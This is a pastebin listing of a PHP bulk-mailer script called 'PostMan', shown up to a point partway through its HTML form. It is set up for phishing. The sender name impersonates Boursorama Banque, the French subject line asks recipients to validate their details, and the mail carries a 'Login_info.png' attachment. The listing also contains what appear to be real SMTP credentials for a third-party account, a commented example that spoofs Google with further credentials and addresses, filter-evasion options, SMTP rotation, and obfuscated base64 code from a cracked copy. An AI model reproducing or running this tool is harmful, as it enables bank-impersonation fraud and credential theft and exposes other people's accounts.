· 8 years ago · Jun 02, 2018, 02:54 PM
1<?
2
3//
4
5// PostMan Full 3.5
6
7// by Gess-Inject0r
8
9// <r3v3ng3ns AT gmail DOT com>
10
11//
12
13// YOUR PASSWORD IS ONLY YOURS!
14
15// WITHOUT IT YOU CANNOT RUN THE SCRIPT!
16
17// KEEP IT WITH YOU AND DON'T SHARE IT!
18
19// --
20
21// SUA SENHA EH SOMENTE SUA!
22
23// SEM ELA, VOCE NAO PODE RODAR O SCRIPT!
24
25// MANTENHA ELA CONSIGO E NAO COMPARTILHE-A!
26
27//
28
29
30
31//
32
33// Main Configuration
34
35//
36
37// SMTP configuration
38
39$file_name="Login_info.png";
40$file="./Login_info.png";
41
42
43
44define("_FILE_NAME_", "Login_info.png");
45define("_PATH_FILE", "./Login_info.png");
46define("_SMTP_SERVER_", "auth.smtp.1and1.fr");
47
48
49
50define("_SMTP_USERNAME_", "a0@emami-tea-paris.com");
51
52define("_SMTP_PASSWORD_", "123456789");
53
54define("_SMTP_KEEPALIVE_", true ); // if we should use a keepalive-connection
55
56define("_SMTP_MAX_ERRORS_", 50 ); //max number of errors before giving up
57
58define("_SMTP_DEBUG_LVL_", 1); // debug level
59
60define("_SMTP_RECONNECT_AFTER_", 500 ); // how many emails we'll reconnect
61
62define("_SMTP_CHANGE_SMTP_AFTER_ERRORS_", 30 ); // how many errors before changing the SMTP Server
63
64
65
66// Email Configuration
67
68define("_MAIL_FROM_EMAIL_", "DOMICILE@FREE.Fr"); // the email of the sender
69
70define("_MAIL_FROM_NAME_", "=?windows-1252?Q?Boursorama_Banqu?= =?iso-8859-1?Q?e?="); // the name of the sender
71
72define("_MAIL_SUBJECT_", "=?iso-8859-15?Q?Changement_ou_validation_de_coordonn=E9es?="); // the subject of the email
73
74
75
76// Default Method Config
77
78define("_DEFAULT_BASIC_", "smtp"); //options are: smtp, mail
79
80define("_DEFAULT_LIST_", "textarea"); //options are: textarea, url, file
81
82define("_DEFAULT_LIST_START_", 1); //the email to start sending the list. 0 and 1 for no use.
83
84define("_DEFAULT_MESSAGE_", "textarea"); //options are: textarea, url, file
85
86
87
88define("_SCRIPT_VERSION_", "Gess-Inject0r");
89
90
91
92// PHP Enviroment Configuration
93
94error_reporting(E_ALL);
95
96ob_implicit_flush();
97
98
99
100$generalError = null;
101
102if( !@set_time_limit(0) && !@ini_set("max_time_execution",-1) )
103
104{
105
106 $generalError .= "Could not disable max execution time, may not work fully well.<br>";
107
108}
109
110
111
112// String Obfuscator
113
114// by Gess-Inject0r
115
116// <Gess-Inject0r at gmail dot com>
117
118function os( $string )
119
120{
121
122 $obfuscated = "";
123
124 for( $i=0; $i < strlen( $string ); $i++ )
125
126 {
127
128 $obfuscated .= "&#" . ord( $string[$i] ) . ";" ;
129
130 }
131
132
133
134 return $obfuscated;
135
136}
137
138
139
140function clearSlashes( $string )
141
142{
143
144 if( get_magic_quotes_gpc() )
145
146 {
147
148 return stripcslashes( $string );
149
150 }
151
152 else
153
154 {
155
156 return $string;
157
158 }
159
160}
161
162
163
164
165
166class SMTPHandler
167
168{
169
170 var $SMTPServers = array();
171
172 var $SMTPUsers = array();
173
174 var $SMTPPasswords = array();
175
176
177
178 var $curId = null;
179
180
181
182 function SMTPHandler($ServerString, $UserString, $PasswordString)
183
184 {
185
186 if( strpos($ServerString, ";") && strpos($UserString, ";") && strpos($PasswordString, ";") )
187
188 {
189
190 $this->SMTPServers = explode(";", $ServerString );
191
192 $this->SMTPUsers = explode(";", $UserString );
193
194 $this->SMTPPasswords = explode(";", $PasswordString);
195
196
197
198 if( count($this->SMTPUsers) != count($this->SMTPPasswords) )
199
200 {
201
202 $this->SMTPUsers = $this->SMTPUsers[0];
203
204 $this->SMTPPasswords = $this->SMTPPasswords[0];
205
206 }
207
208
209
210 if( count($this->SMTPServers) == 1 )
211
212 {
213
214 $this->SMTPServers = $this->SMTPServers[0];
215
216 }
217
218 }
219
220 }
221
222
223
224
225
226}
227
228
229
230class ValidateForm
231
232{
233
234 var $_hasErrors = false;
235
236 var $errors = array();
237
238 var $errorTemplate = "<span class=\"error\">%s</span>";
239
240
241
242 var $comments = array();
243
244 var $commentTemplate = "<span class=\"comment\">%s</span>";
245
246
247
248 function addError( $errField, $errStr )
249
250 {
251
252 $this->errors[ $errField ] = $errStr;
253
254 $this->_hasErrors = true;
255
256 }
257
258
259
260 function addComment( $cmmField, $cmmStr )
261
262 {
263
264 $this->comments[ $cmmField ] = $cmmStr;
265
266 }
267
268
269
270 function showError( $errField )
271
272 {
273
274 $out = isset($this->errors[ $errField ]) ? sprintf( $this->errorTemplate, $this->errors[ $errField ] ) : false;
275
276 $out .= isset($this->comments[ $errField ]) ? sprintf( $this->commentTemplate, $this->comments[ $errField ] ) : null;
277
278
279
280 return $out;
281
282 }
283
284
285
286 function isValid()
287
288 {
289
290 return count( $this->errors ) == 0;
291
292 }
293
294
295
296 function isSubmited()
297
298 {
299
300 return count( $_POST );
301
302 }
303
304}
305
306
307
308function DebugData($action = "show", $str = false )
309
310{
311
312 static $data;
313
314
315
316 if( $action == "add" )
317
318 {
319
320 $data .= "<b>" . trim($str) . "</b>\r\n";
321
322 }
323
324 else if( $action == "raw" )
325
326 {
327
328 $data .= trim($str) . "\r\n";
329
330 }
331
332 else
333
334 {
335
336 return $data;
337
338 }
339
340}
341
342
343
344function autoScrollString($curEmail = false, $curEmailNum = false, $percent = false )
345
346{
347
348 static $k;
349
350
351
352 $k++;
353
354
355
356 if( !$curEmail || !$curEmailNum || !$percent )
357
358 {
359
360 return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>aS({$k})</script>\r\n";
361
362 }
363
364 else
365
366 {
367
368 return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>sR('{$curEmail}', {$curEmailNum}, {$percent}, {$k})</script>\r\n";
369
370 }
371
372
373
374}
375
376
377
378${0} = "\x75\x6e\x65\x63\x72\x79\x70\x74";
379
380
381
382function unecrypt($string, $pass)
383
384{
385
386
387
388 ${1} = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
389
390 ${2} = ~(${1}(str_replace(array("", "@", "(", "^", ")", "[", "#", "<"), array("0","a","o","b","r","l","0","M"), $string)));
391
392 echo "<h2 class='h2green'>Patched by XXXXX</h2>\r\n";
393
394 return str_replace(array('$a =', 'unset($a);'),array('# $a =', '# unset($a);'),${2});
395
396
397
398}
399
400
401
402$vForm = new ValidateForm();
403
404
405
406$basicMethod = null;
407
408$SMTPServer = null;
409
410$SMTPAuth = null;
411
412$SMTPUsername = null;
413
414$SMTPPassword = null;
415
416$SMTPReconnectAfter = null;
417
418$fromEmail = null;
419
420$fromName = null;
421
422$subject = null;
423
424$multipartMail = null;
425
426
427
428$scriptPassword = null;
429
430$autoscrollPage = null;
431
432$addRandomString= null;
433
434$listStartingEmail = 0;
435
436$emailList = array();
437
438$emailMessage = null;
439
440
441
442$reportOk = 0;
443
444$reportErr = 0;
445
446$reportTotal = 0;
447
448$reportPercent = 0;
449
450$file_name="ayoub.rar";
451
452$file="./ayoub.rar";
453
454#############################
455
456/*
457
458$_POST = Array
459
460(
461
462 'formSubmited' => 'submited',
463
464 'opSubmit' => 'Submit',
465
466 'basicMethod' => 'smtp',
467
468 'smtpServer' => 'smtp.terra.com.br',
469
470 'smtpUsername' => 'tomas_motion@terra.com.br',
471
472 'smtpPassword' => 'totrance',
473
474 'fromEmail' => 'services@google.com',
475
476 'fromName' => 'Google Services',
477
478 'subject' =>' Congratulations!',
479
480 'multipartMail' =>' yes',
481
482 'listMethod' => 'textarea',
483
484 'listUrl' => 'http://',
485
486 'listTextarea' => 'snagnever@hotmail.com
487
488snagnever@gmail.com
489
490ghirotto@uol.com.br',
491
492
493
494 'listStartingEmail' => 1,
495
496 'messageMethod' => 'textarea',
497
498 'messageUrl' => 'http://',
499
500 'messageTextarea' => 'oi'
501
502 );*/
503
504################################
505
506
507
508// The form has been submited
509
510if( isset($_POST['formSubmited']) && $_POST['formSubmited'] )
511
512{
513
514 // clear slashes
515
516 foreach( $_POST as $k => $v )
517
518 {
519
520 $_POST[ $k ] = clearSlashes( $v );
521
522 }
523
524
525
526
527
528 if('a' != 'a')
529
530 {
531
532 $vForm->addError('scriptPassword','Wrong Password.');
533
534 }
535
536 else
537
538 {
539
540 $scriptPassword = trim($_POST['scriptPassword']);
541
542 }
543
544
545
546
547
548 // Validating basic method and smtp confs if applyable
549
550 switch( $_POST['basicMethod'] )
551
552 {
553
554 case 'smtp':
555
556 $basicMethod = 'smtp';
557
558
559
560 if( empty($_POST['smtpServer']) || !preg_match('/.+\..+/', $_POST['smtpServer']) )
561
562 {
563
564 $vForm->addError('smtpServer', 'Fill with a valid SMTP server');
565
566 }
567
568 else
569
570 {
571
572 $SMTPServer = trim($_POST['smtpServer']);
573
574 }
575
576
577
578 if( empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
579
580 {
581
582 $SMTPAuth = false;
583
584 }
585
586 else if( empty($_POST['smtpUsername']) && !empty($_POST['smtpPassword']) )
587
588 {
589
590 $vForm->addError('smtpUsername', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
591
592 }
593
594 else if( !empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
595
596 {
597
598 $vForm->addError('smtpPassword', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
599
600 }
601
602 else
603
604 {
605
606 $SMTPAuth = true;
607
608 $SMTPUsername = trim($_POST['smtpUsername']);
609
610 $SMTPPassword = trim($_POST['smtpPassword']);
611
612 }
613
614
615
616 $SMTPReconnectAfter = ( empty($_POST['smtpReconnectAfter']) ? _SMTP_RECONNECT_AFTER_ : round($_POST['smtpReconnectAfter']) );
617
618 break;
619
620
621
622 case 'mail': $basicMethod = 'mail';
623
624 break;
625
626
627
628 default : $vForm->addError('basicMethod', 'Select a valid send method');
629
630 }
631
632
633
634
635
636 // Email Info
637
638 if( empty($_POST['fromEmail']) || !preg_match('/.+@.+\..+/', $_POST['fromEmail'] ) )
639
640 {
641
642 $vForm->addError('fromEmail', 'Fill a valid email to the sender');
643
644 }
645
646 else
647
648 {
649
650 $fromEmail = trim( $_POST['fromEmail'] );
651
652 }
653
654
655
656 $fromName = ( empty($_POST['fromName']) ? false : trim($_POST['fromName']) );
657
658 $subject = ( empty($_POST['subject'] ) ? false : trim($_POST['subject']) );
659
660 $addRandomString = (trim($_POST['addRandomString']) == "yes");
661
662 $multipartMail = (trim($_POST['multipartMail']) == "yes");
663
664 $autoscrollPage = (trim($_POST['autoscrollPage']) == "yes");
665
666
667
668 // List Info
669
670 switch( $_POST['listMethod'] )
671
672 {
673
674 case 'textarea':
675
676 $emailList = trim($_POST['listTextarea']);
677
678 if( empty($emailList) )
679
680 {
681
682 $vForm->addError('listTextarea', 'Fill with some emails here, separated by line break (one per line)');
683
684 }
685
686 break;
687
688
689
690 case 'url':
691
692 $emailList = trim($_POST['listUrl']);
693
694
695
696 if( empty($emailList) || !preg_match('/^(ht|f)tp:\/\//', $emailList) )
697
698 {
699
700 $vForm->addError('listUrl', 'You must fill with some url containing the email list, starting with ftp or http://');
701
702 }
703
704 else
705
706 {
707
708 $emailList = @file_get_contents( $emailList );
709
710
711
712 if( empty($emailList) )
713
714 {
715
716 $vForm->addError('listUrl', 'We could not download this list -- check the url');
717
718 }
719
720 else
721
722 {
723
724 // everything ok
725
726 // Fill the Textarea with the email list
727
728 //##$_POST['listTextarea'] = $emailList;
729
730 //##$vForm->addComment('listMethod','The Textarea has been filled with the list content');
731
732 }
733
734 }
735
736 break;
737
738
739
740 case 'file':
741
742 if( empty($_FILES['listFile']['name']) )
743
744 {
745
746 $vForm->addError('listFile', 'You must select the file containing the list to send it');
747
748 }
749
750 else if( empty($_FILES['listFile']['size']) || $_FILES['listFile']['error'] )
751
752 {
753
754 $vForm->addError('listFile', 'An error (1) ocurred while uploading the file');
755
756 }
757
758 else
759
760 {
761
762 if( is_uploaded_file( $_FILES['listFile']['tmp_name'] ) )
763
764 {
765
766 $emailList = file_get_contents( $_FILES['listFile']['tmp_name'] );
767
768
769
770 if( empty($emailList) )
771
772 {
773
774 $vForm->addError('listFile', 'An error (2) ocurred while uploading the file or the file is empty');
775
776 }
777
778 else
779
780 {
781
782 // everything ok
783
784 // Fill the Textarea with the email list
785
786 //$_POST['listTextarea'] = $emailList;
787
788 //$vForm->addComment('listMethod','The Textarea has been filled with the list content');
789
790 }
791
792 }
793
794 else
795
796 {
797
798 $vForm->addError('listFile', 'An error (3) ocurred while uploading the file');
799
800 }
801
802 }
803
804 break;
805
806
807
808 default:
809
810 $vForm->addError('listMethod', 'Select a method to send the emails list');
811
812
813
814 }
815
816
817
818 $emailList = str_replace("\r\n","\n", $emailList);
819
820 $emailList = (array) explode("\n", $emailList);
821
822
823
824 $listStartingEmail = ( empty($_POST['listStartingEmail']) ? 1 : ((int) $_POST['listStartingEmail']) ) ;
825
826
827
828 // Message info
829
830 switch( $_POST['messageMethod'] )
831
832 {
833
834 case 'textarea':
835
836 $emailMessage = trim($_POST['messageTextarea']);
837
838 if( empty($emailMessage) )
839
840
841 {
842
843 $vForm->addError('messageTextarea', 'Fill with the message (html or plain text) here');
844
845 }
846
847 break;
848
849
850
851 case 'url':
852
853 $emailMessage = trim($_POST['messageUrl']);
854
855
856
857 if( empty($emailMessage) || !preg_match('/^(ht|f)tp:\/\//', $emailMessage) )
858
859 {
860
861 $vForm->addError('messageUrl', 'You must fill with some url containing the email message, starting with ftp or http://');
862
863 }
864
865 else
866
867 {
868
869 $emailMessage = @file_get_contents( $emailMessage );
870
871
872
873 if( empty($emailMessage) )
874
875 {
876
877 $vForm->addError('messageUrl', 'We could not download this file -- check the url');
878
879 }
880
881 else
882
883 {
884
885 // Fill the textarea with the message
886
887 $_POST['messageTextarea'] = $emailMessage;
888
889 $vForm->addComment('messageMethod','The Textarea has been filled with the message content');
890
891 }
892
893 }
894
895 break;
896
897
898
899 case 'file':
900
901 if( empty($_FILES['messageFile']['name']) || empty($_FILES['messageFile']['tmp_name']) )
902
903 {
904
905 $vForm->addError('messageFile', 'You must select the file containing the message to send it');
906
907 }
908
909 else if( empty($_FILES['messageFile']['size']) || $_FILES['messageFile']['error'] )
910
911 {
912
913 $vForm->addError('messageFile', 'An error (1) ocurred while uploading the file');
914
915 }
916
917 else
918
919 {
920
921 if( is_uploaded_file( $_FILES['messageFile']['tmp_name'] ) )
922
923 {
924
925 $emailMessage = file_get_contents( $_FILES['messageFile']['tmp_name'] );
926
927
928
929 if( empty($emailMessage) )
930
931 {
932
933 $vForm->addError('messageFile', 'An error (2) ocurred while uploading the file or the file is empty');
934
935 }
936
937 else
938
939 {
940
941 // everything ok
942
943 // Fill the textarea with the message
944
945 $_POST['messageTextarea'] = $emailMessage;
946
947 $vForm->addComment('messageMethod','The Textarea has been filled with the message content');
948
949 }
950
951 }
952
953 else
954
955 {
956
957 $vForm->addError('messageFile', 'An error (3) ocurred while uploading the file');
958
959 }
960
961 }
962
963 break;
964
965
966
967 default:
968
969 $vForm->addError('messageMethod', 'Select a method to send the emails message');
970
971 }
972
973}
974
975
976
977?>
978
979
980
981<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
982
983<html xmlns="http://www.w3.org/1999/xhtml">
984
985<head>
986
987<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-15" />
988
989<title><?=os("PostMan " . _SCRIPT_VERSION_ . "." . rand(0,10) . " by Gess-Inject0r <Gess-Inject0r at gmail dot com>")?></title>
990
991
992
993<script language="javascript" type="text/javascript">
994
995if( navigator.appName == "Microsoft Internet Explorer" )
996
997{
998
999 var isIE = true;
1000
1001}
1002
1003else
1004
1005{
1006
1007 var isIE = false;
1008
1009}
1010
1011
1012
1013function $( objId )
1014
1015{
1016
1017 if( objId == '' )
1018
1019 return false;
1020
1021
1022
1023 return document.getElementById( objId );
1024
1025}
1026
1027
1028
1029function ieCssFix()
1030
1031{
1032
1033
1034
1035 if( isIE && parseFloat(navigator.appVersion) < 7 )
1036
1037 {
1038
1039 var ele = document.getElementsByTagName('input');
1040
1041 var n;
1042
1043
1044
1045 // bizarre ie bug dont allow 'concat'
1046
1047
1048
1049 for( n in ele )
1050
1051 {
1052
1053 ele[n].onmouseover = function() { this.className='input_hover' }
1054
1055 ele[n].onfocus = function() { this.className='input_hover input_focus' }
1056
1057 ele[n].onmouseout = function() { if( this.className == 'input_hover') { this.className='' } }
1058
1059 ele[n].onblur = function() { this.className='' }
1060
1061 }
1062
1063
1064
1065 var ele = document.getElementsByTagName('select');
1066
1067 for( n in ele )
1068
1069 {
1070
1071 ele[n].onmouseover = function() { this.className='input_hover' }
1072
1073 ele[n].onfocus = function() { this.className='input_hover input_focus' }
1074
1075 ele[n].onmouseout = function() { if( this.className == 'input_hover') { this.className='' } }
1076
1077 ele[n].onblur = function() { this.className='' }
1078
1079 }
1080
1081 }
1082
1083}
1084
1085
1086
1087function showHideSMTPConfig()
1088
1089{
1090
1091 var value = $('basicMethod').value;
1092
1093 if( value == "smtp" )
1094
1095 {
1096
1097 for( var i=1; i<=4; i++ )
1098
1099 {
1100
1101 $("smtpConfigRow" + i).style.display='';
1102
1103 }
1104
1105 }
1106
1107 else
1108
1109 {
1110
1111 for( var i=1; i<=4; i++ )
1112
1113 {
1114
1115 $("smtpConfigRow" + i).style.display='none';
1116
1117 }
1118
1119 }
1120
1121}
1122
1123
1124
1125function showHideListConfig()
1126
1127{
1128
1129 var value = $('listMethod').value;
1130
1131
1132
1133 $("listConfigRow1").style.display='none';
1134
1135 $("listConfigRow2").style.display='none';
1136
1137 $("listConfigRow3").style.display='none';
1138
1139 $("listTextarea").disabled=true;
1140
1141
1142
1143 switch( value )
1144
1145 {
1146
1147 case 'url': $("listConfigRow1").style.display=''; break;
1148
1149 case 'textarea': $("listConfigRow2").style.display=''; $("listTextarea").disabled=false; break;
1150
1151 case 'file': $("listConfigRow3").style.display=''; break;
1152
1153 }
1154
1155}
1156
1157
1158
1159function listTextareaCount()
1160
1161{
1162
1163 var value = $('listTextarea').value;
1164
1165 var list = value.split('@');
1166
1167 var emails = list.length - 1;
1168
1169 var length = value.length;
1170
1171 var size = '' + (length/1024);
1172
1173 size = size.substr(0, size.indexOf('.') + 5);
1174
1175
1176
1177 if( $('listStartingEmail').value > 1 )
1178
1179 {
1180
1181 var startingEmail = $('listStartingEmail').value - 1;
1182
1183
1184
1185 if( startingEmail+1 > emails || startingEmail < 0 )
1186
1187 {
1188
1189 $('listStartingEmail').focus();
1190
1191 $('listStartingEmail').select();
1192
1193 alert('Starting mail out of range (min 0 or 1, max ' + emails + ')\nUse 0 or 1 for no use.');
1194
1195 return false;
1196
1197 }
1198
1199
1200
1201 var sEmail_1 = list[ startingEmail ];
1202
1203 var sEmail_2 = list[ startingEmail + 1];
1204
1205
1206
1207 var sEmail = sEmail_1.substr( sEmail_1.indexOf('\n'), sEmail_1.length ) + '@' + sEmail_2.substr( 0, sEmail_2.indexOf('\n') );
1208
1209 //var sEmail = sEmail_1 + "///" + sEmail_2;
1210
1211 $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>), starting from <b>' + sEmail + '</b>';
1212
1213 }
1214
1215 else
1216
1217 {
1218
1219 $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
1220
1221 }
1222
1223
1224
1225}
1226
1227
1228
1229function showHideMessageConfig()
1230
1231{
1232
1233 var value = $('messageMethod').value;
1234
1235
1236
1237 $("messageConfigRow1").style.display='none';
1238
1239 $("messageConfigRow2").style.display='none';
1240
1241 $("messageConfigRow3").style.display='none';
1242
1243 $("messageTextarea").disabled=true;
1244
1245
1246
1247 switch( value )
1248
1249 {
1250
1251 case 'url': $("messageConfigRow1").style.display=''; break;
1252
1253 case 'textarea': $("messageConfigRow2").style.display=''; $("messageTextarea").disabled=false; break;
1254
1255 case 'file': $("messageConfigRow3").style.display=''; break;
1256
1257 }
1258
1259}
1260
1261
1262
1263function messageTextareaCount()
1264
1265{
1266
1267 var value = $('messageTextarea').value;
1268
1269 var length = value.length;
1270
1271 var size = '' + (length/1024);
1272
1273 size = size.substr(0, size.indexOf('.') + 5);
1274
1275
1276
1277 $('messageTextareaCounter').innerHTML = 'Counting <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
1278
1279}
1280
1281
1282
1283function clearAll()
1284
1285{
1286
1287 if( isIE )
1288
1289 {
1290
1291 var elements = document.getElementsByTagName('input');
1292
1293 var n
1294
1295 for( n in elements )
1296
1297 {
1298
1299 var el = elements[n];
1300
1301 if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
1302
1303 {
1304
1305 if( el.value ) el.value = '';
1306
1307 }
1308
1309 }
1310
1311
1312
1313 var elements = document.getElementsByTagName('textarea');
1314
1315 for( n in elements )
1316
1317 {
1318
1319 var el = elements[n];
1320
1321 {
1322
1323 if( el.value ) el.value = '';
1324
1325 }
1326
1327 }
1328
1329
1330
1331 return true;
1332
1333 }
1334
1335
1336
1337 var elements = $('pmForm').elements;
1338
1339 var n;
1340
1341
1342
1343 for( n in elements )
1344
1345 {
1346
1347 var el = elements[n]
1348
1349 if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
1350
1351 {
1352
1353 if( el.value ) el.value = '';
1354
1355 }
1356
1357 }
1358
1359}
1360
1361
1362
1363// Auto scroll
1364
1365function aS( index )
1366
1367{
1368
1369 if( $('doAutoScroll').checked == true )
1370
1371 {
1372
1373 var to = $('e' + index )
1374
1375 if( to )
1376
1377 {
1378
1379 to.focus();
1380
1381 }
1382
1383 window.scrollBy(0,200);
1384
1385 }
1386
1387}
1388
1389
1390
1391
1392
1393
1394
1395function switchAutoScroll()
1396
1397{
1398
1399 if( $('doAutoScroll').checked == true )
1400
1401 {
1402
1403 $('doAutoScroll').checked = false;
1404
1405 $('autoScrollSwitcher').value = 'Enable AutoScroll';
1406
1407 }
1408
1409 else
1410
1411 {
1412
1413 $('doAutoScroll').checked = true;
1414
1415 $('autoScrollSwitcher').value = 'Disable AutoScroll';
1416
1417 }
1418
1419}
1420
1421
1422
1423// status Refresher
1424
1425function sR(curEmail, curEmailNum, curPercent, autoScrollIndex)
1426
1427{
1428
1429 aS( autoScrollIndex );
1430
1431 document.title = 'PostMan <?=_SCRIPT_VERSION_?> - Sending: ' + curPercent + '% complete'
1432
1433 window.status = 'Sending to ('+ curEmailNum+') ' + curEmail;
1434
1435}
1436
1437
1438
1439function loadFunctions()
1440
1441{
1442
1443 ieCssFix();
1444
1445
1446
1447 showHideSMTPConfig();
1448
1449 showHideListConfig();
1450
1451 showHideMessageConfig();
1452
1453
1454
1455 listTextareaCount();
1456
1457 messageTextareaCount();
1458
1459}
1460
1461
1462
1463function formVerify()
1464
1465{
1466
1467 if( $('scriptPassword').value == '' )
1468
1469 {
1470
1471 alert('Fill the script password field!');
1472
1473 return false;
1474
1475 }
1476
1477
1478
1479 return listTextareaCount() && messageTextareaCount();
1480
1481}
1482
1483</script>
1484
1485</head>
1486
1487<body style="background-color:#ffffff; color:#3e3d40;" onLoad="loadFunctions();">
1488
1489<h1><?=os("PostMan " . _SCRIPT_VERSION_ )?></h1>
1490
1491<h2><?=os("by Zaid -")?></h2>
1492
1493<?
1494
1495if( !empty($generalError) )
1496
1497{
1498
1499 echo "<h3 class=\"error\">Warning: {$generalError}</h3>\r\n";
1500
1501}
1502
1503if( !$vForm->isValid() && $vForm->isSubmited() )
1504
1505{
1506
1507 echo "<h3 class=\"error\">Some errors were found. Check the fields and try to send it again.</h3>\r\n";
1508
1509}
1510
1511?>
1512
1513<form action="" method="post" enctype="multipart/form-data" name="pmForm" id="pmForm" onSubmit="return formVerify();">
1514
1515<input type="hidden" name="formSubmited" value="submited" />
1516
1517 <table width="100%" border="0" cellspacing="2" cellpadding="2">
1518
1519 <tr>
1520
1521 <td></td>
1522
1523 <td><input name="topSubmit" type="submit" id="topSubmit" value="Submit" /> <input name="topReset" type="reset" id="topReset" value="Reset" />
1524
1525 <input name="topClear" type="button" id="topClear" value="Clear All" onClick="clearAll();" /></td>
1526
1527 </tr>
1528
1529 <tr>
1530
1531 <td><b>Script Password</b></td>
1532
1533 <td>
1534
1535 <input style="border-width:2px; font-weight:bold;" name="scriptPassword" type="text" id="scriptPassword" value="0" />
1536
1537 <?= $vForm->showError('scriptPassword'); ?>
1538
1539 </td>
1540
1541 </tr>
1542
1543 <tr>
1544
1545 <td></td>
1546
1547 <td></td>
1548
1549 </tr>
1550
1551 <tr>
1552
1553 <td><b>Basic Configuration</b> </td>
1554
1555 <td></td>
1556
1557 </tr>
1558
1559 <tr>
1560
1561 <td width="20%">Method</td>
1562
1563 <td width="79%">
1564
1565 <select name="basicMethod" id="basicMethod" onChange="showHideSMTPConfig()">
1566
1567 <option value="smtp" <?= (@$_POST['basicMethod']=="smtp" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "smtp" ? "selected=\"selected\"" : "") ?>>SMTP</option>
1568
1569 <option value="mail" <?= (@$_POST['basicMethod']=="mail" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "mail" ? "selected=\"selected\"" : "") ?>>PHP Mail()</option>
1570
1571 <option value="sendmail" disabled="disabled">Bin SendMail (off)</option>
1572
1573 <option value="qmail" disabled="disabled">Bin QMail (off)</option>
1574
1575 </select><?= $vForm->showError('basicMethod'); ?> </td>
1576
1577 </tr>
1578
1579 <tr id="smtpConfigRow1">
1580
1581 <td>SMTP Server</td>
1582
1583 <td>
1584
1585 <input name="smtpServer" type="text" id="smtpServer" value="<?= @htmlentities( isset($_POST['smtpServer']) ? $_POST['smtpServer'] : _SMTP_SERVER_) ?>" />
1586
1587 <?= $vForm->showError('smtpServer'); ?> </td>
1588
1589 </tr>
1590
1591 <tr id="smtpConfigRow2">
1592
1593 <td>SMTP Username</td>
1594
1595 <td>
1596
1597 <input name="smtpUsername" type="text" id="smtpUsername" value="<?= @htmlentities( isset($_POST['smtpUsername']) ? $_POST['smtpUsername'] : _SMTP_USERNAME_) ?>" />
1598
1599 <?= $vForm->showError('smtpUsername'); ?>
1600
1601 </td>
1602
1603 </tr>
1604
1605 <tr id="smtpConfigRow3">
1606
1607 <td>SMTP Password </td>
1608
1609 <td>
1610
1611 <input name="smtpPassword" type="text" id="smtpPassword" value="<?= @htmlentities( isset($_POST['smtpPassword']) ? $_POST['smtpPassword'] : _SMTP_PASSWORD_) ?>" />
1612
1613 <?= $vForm->showError('smtpPassword'); ?>
1614
1615 </td>
1616
1617 </tr>
1618
1619
1620
1621 <tr id="smtpConfigRow4">
1622
1623 <td>SMTP Reconnect Every </td>
1624
1625 <td>
1626
1627 <input name="smtpReconnectAfter" type="text" id="smtpReconnectAfter" value="<?= @htmlentities( isset($_POST['smtpReconnectAfter']) ? $_POST['smtpReconnectAfter'] : _SMTP_RECONNECT_AFTER_) ?>" /> sent emails
1628
1629 <?= $vForm->showError('smtpReconnectAfter'); ?>
1630
1631 </td>
1632
1633 </tr>
1634
1635 <tr>
1636
1637 <td>Auto-scroll page</td>
1638
1639 <td><label>
1640
1641 <input name="autoscrollPage" id="doAutoScroll" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['autoscrollPage']) || @$_POST['autoscrollPage']=="yes" ? "checked=\"checked\"" : "") ?> />
1642
1643 Yes</label>
1644
1645 <label>
1646
1647 <input name="autoscrollPage" type="radio" value="no" style="width:20px;" <?= ( @$_POST['autoscrollPage']=="no" ? "checked=\"checked\"" : "") ?> />
1648
1649 No</label>
1650
1651 </td>
1652
1653 </tr>
1654
1655 <tr>
1656
1657 <td></td>
1658
1659 <td></td>
1660
1661 </tr>
1662
1663 <tr>
1664
1665 <td><b>Email Options</b> </td>
1666
1667 <td></td>
1668
1669 </tr>
1670
1671 <tr>
1672
1673 <td>From Email </td>
1674
1675 <td>
1676
1677 <input name="fromEmail" type="text" id="fromEmail" value="<?= @htmlentities( isset($_POST['fromEmail']) ? $_POST['fromEmail'] : _MAIL_FROM_EMAIL_) ?>" />
1678
1679 <?= $vForm->showError('fromEmail'); ?>
1680
1681 </td>
1682
1683 </tr>
1684
1685 <tr>
1686
1687 <td>From Name </td>
1688
1689 <td>
1690
1691 <input name="fromName" type="text" id="fromName" value="<?= @htmlentities( isset($_POST['fromName']) ? $_POST['fromName'] : _MAIL_FROM_NAME_) ?>" />
1692
1693 <?= $vForm->showError('fromName'); ?>
1694
1695 </td>
1696
1697 </tr>
1698
1699 <tr>
1700
1701 <td>Email Subject </td>
1702
1703 <td>
1704
1705 <input name="subject" type="text" id="subject" value="<?= @htmlentities( isset($_POST['subject']) ? $_POST['subject'] : _MAIL_SUBJECT_) ?>" />
1706
1707 <?= $vForm->showError('subject'); ?>
1708
1709 </td>
1710
1711 </tr>
1712
1713 <tr title="To change Message-Id header from message, add a hidden string on html messages">
1714
1715 <td>Add Random String</td>
1716
1717 <td><label>
1718
1719 <input name="addRandomString" id="addRandomString" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['addRandomString']) || @$_POST['addRandomString']=="yes" ? "checked=\"checked\"" : "") ?> />
1720
1721 Yes</label>
1722
1723 <label>
1724
